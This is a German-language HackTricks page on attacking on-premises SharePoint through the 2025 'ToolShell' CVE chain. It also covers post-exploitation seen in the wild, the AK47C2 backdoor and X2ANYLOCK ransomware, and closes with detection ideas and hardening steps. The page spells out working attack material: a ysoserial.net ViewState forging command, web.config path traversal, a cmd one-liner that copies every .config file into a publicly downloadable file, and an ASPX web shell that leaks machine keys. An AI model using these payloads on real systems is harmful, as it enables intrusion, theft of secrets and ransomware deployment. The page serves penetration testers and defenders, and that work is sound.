Microsoft SharePoint – Pentesting & Exploitation

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Microsoft SharePoint (on-premises) basiert auf ASP.NET/IIS. Die meisten klassischen Web-Angriffsflächen (ViewState, Web.Config, Web-Shells usw.) sind daher vorhanden, aber SharePoint wird auch mit Hunderten von proprietären ASPX-Seiten und Webdiensten geliefert, die die exponierte Angriffsfläche erheblich vergrößern. Diese Seite sammelt praktische Tricks zur Enumeration, Ausnutzung und Persistenz in SharePoint-Umgebungen mit Schwerpunkt auf der 2025 veröffentlichten Exploit-Kette von Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 Exploit-Kette (auch bekannt als “ToolShell”)

2.1 CVE-2025-49704 – Code-Injection auf ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> ermöglicht die Einspeisung beliebigen Server-Side Include Codes in die Seite, die später von ASP.NET kompiliert wird. Ein Angreifer kann C# einbetten, das Process.Start() ausführt und einen bösartigen ViewState ablegt.

2.2 CVE-2025-49706 – Unzureichende Authentifizierung Umgehung

Die gleiche Seite vertraut dem X-Forms_BaseUrl Header, um den Kontext der Seite zu bestimmen. Indem man ihn auf /_layouts/15/ zeigt, kann die MFA/SSO, die an der Root-Seite durchgesetzt wird, unauthentifiziert umgangen werden.

2.3 CVE-2025-53770 – Unauthentifizierte ViewState Deserialisierung → RCE

Sobald der Angreifer ein Gadget in ToolPane.aspx kontrolliert, kann er einen nicht signierten (oder nur MAC) __VIEWSTATE Wert posten, der die .NET Deserialisierung innerhalb von w3wp.exe auslöst, was zu einer Codeausführung führt.

Wenn die Signierung aktiviert ist, stehlen Sie den ValidationKey/DecryptionKey aus einer beliebigen web.config (siehe 2.4) und fälschen Sie die Payload mit ysoserial.net oder ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Für eine ausführliche Erklärung zum Missbrauch von ASP.NET ViewState lesen Sie:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Pfad Traversierung / web.config Offenlegung

Das Senden eines manipulierten Source-Parameters an ToolPane.aspx (z.B. ../../../../web.config) gibt die angezielte Datei zurück, was die Offenlegung von ermöglicht:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ ViewState / ASPXAUTH-Cookies fälschen
  • Verbindungszeichenfolgen & Geheimnisse.

3. Post-Exploitation-Rezepte, die in der Wildnis beobachtet wurden

3.1 Exfiltrieren Sie jede .config-Datei (Variation-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Die resultierende debug_dev.js kann anonym heruntergeladen werden und enthält alle sensiblen Konfigurationen.

3.2 Bereitstellung einer Base64-kodierten ASPX-Web-Shell (Variation-2)

powershell.exe -EncodedCommand <base64>

Beispiel für einen decodierten Payload (verkürzt):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Geschrieben an:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

Die Shell exponiert Endpunkte zum Lesen / Rotieren von Maschinen-Schlüsseln, was das Fälschen von ViewState- und ASPXAUTH-Cookies über die Farm ermöglicht.

3.3 Obfuskierte Variante (Variation-3)

Gleiche Shell, aber:

  • abgelegt unter ...\15\TEMPLATE\LAYOUTS\
  • Variablennamen auf einzelne Buchstaben reduziert
  • Thread.Sleep(<ms>) hinzugefügt für Sandbox-Umgehung & zeitbasierte AV-Umgehung.

3.4 AK47C2 Multi-Protokoll-Hintertür & X2ANYLOCK Ransomware (beobachtet 2025-2026)

Aktuelle Vorfallreaktionsuntersuchungen (Unit42 „Projekt AK47“) zeigen, wie Angreifer die ToolShell-Kette nach anfänglichem RCE nutzen, um ein Dual-Channel-C2-Implantat und Ransomware in SharePoint-Umgebungen bereitzustellen:

AK47C2 – dnsclient Variante

  • Hardcodierter DNS-Server: 10.7.66.10, der mit der autoritativen Domain update.updatemicfosoft.com kommuniziert.
  • Nachrichten sind JSON-Objekte, die mit dem statischen Schlüssel VHBD@H XOR-verschlüsselt, hex-kodiert und als Subdomain-Labels eingebettet sind.
json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Lange Abfragen werden in Teile zerlegt und mit s vorangestellt, dann serverseitig wieder zusammengesetzt.
  • Der Server antwortet in TXT-Datensätzen, die dasselbe XOR/Hex-Schema verwenden:
json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Version 202504 führte ein vereinfachtes Format <COMMAND>::<SESSION_KEY> und Chunk-Markierungen 1, 2, a ein.

AK47C2 – httpclient Variante

  • Verwendet die genaue JSON- & XOR-Routine, sendet jedoch den Hex-B Blob im HTTP POST-Körper über libcurl (CURLOPT_POSTFIELDS usw.).
  • Gleicher Task/Ergebnis-Workflow, der ermöglicht:
  • Arbiträre Shell-Befehlsausführung.
  • Dynamische Schlafintervalle und Kill-Switch-Anweisungen.

X2ANYLOCK Ransomware

  • 64-Bit C++ Payload, geladen durch DLL-Seitenladung (siehe unten).
  • Verwendet AES-CBC für Dateidaten + RSA-2048, um den AES-Schlüssel zu umschließen, und fügt dann die Erweiterung .x2anylock hinzu.
  • Verschlüsselt rekursiv lokale Laufwerke und entdeckte SMB-Freigaben; überspringt Systempfade.
  • Hinterlässt eine Klartextnotiz How to decrypt my data.txt, die eine statische Tox ID für Verhandlungen einbettet.
  • Enthält einen internen Kill-Switch:
c
if (file_mod_time >= "2026-06-06") exit(0);

DLL-Seitenladekette

  1. Angreifer schreibt dllhijacked.dll/My7zdllhijacked.dll neben ein legitimes 7z.exe.
  2. Von SharePoint gestartetes w3wp.exe startet 7z.exe, das die bösartige DLL aufgrund der Windows-Suchreihenfolge lädt und den Ransomware-Einstiegspunkt im Speicher aufruft.
  3. Ein separater LockBit-Lader wurde beobachtet (bbb.msiclink_x86.execlink_dll_x86.dll), der Shell-Code entschlüsselt und DLL-Hollowing in d3dl1.dll durchführt, um LockBit 3.0 auszuführen.

info

Die gleiche statische Tox ID, die in X2ANYLOCK gefunden wurde, erscheint in geleakten LockBit-Datenbanken, was auf eine Überlappung der Partner hinweist.


4. Erkennungsideen

TelemetrieWarum es verdächtig ist
w3wp.exe → cmd.exeArbeitsprozess sollte selten eine Shell starten
cmd.exe → powershell.exe -EncodedCommandKlassisches lolbin-Muster
Dateiereignisse, die debug_dev.js oder spinstall0.aspx erstellenIOCs direkt von ToolShell
ProcessCmdLine ENTHÄLT ToolPane.aspx (ETW/Modulprotokolle)Öffentliche PoCs rufen diese Seite auf

Beispiel XDR / Sysmon-Regel (Pseudo-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. Härtung & Minderung

  1. Patch – Die Sicherheitsupdates von Juli 2025 beheben alle vier CVEs.
  2. Rotieren Sie jeden <machineKey> und ViewState-Geheimnisse nach einem Kompromiss.
  3. Entfernen Sie die LAYOUTS Schreibberechtigung von den Gruppen WSS_WPG & WSS_ADMIN_WPG.
  4. Blockieren Sie den externen Zugriff auf /_layouts/15/ToolPane.aspx auf Proxy/WAF-Ebene.
  5. Aktivieren Sie ViewStateUserKey, MAC aktiviert und benutzerdefinierte EventValidation.

Verwandte Tricks

  • IIS Post-Exploitation & web.config Missbrauch:

IIS - Internet Information Services

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks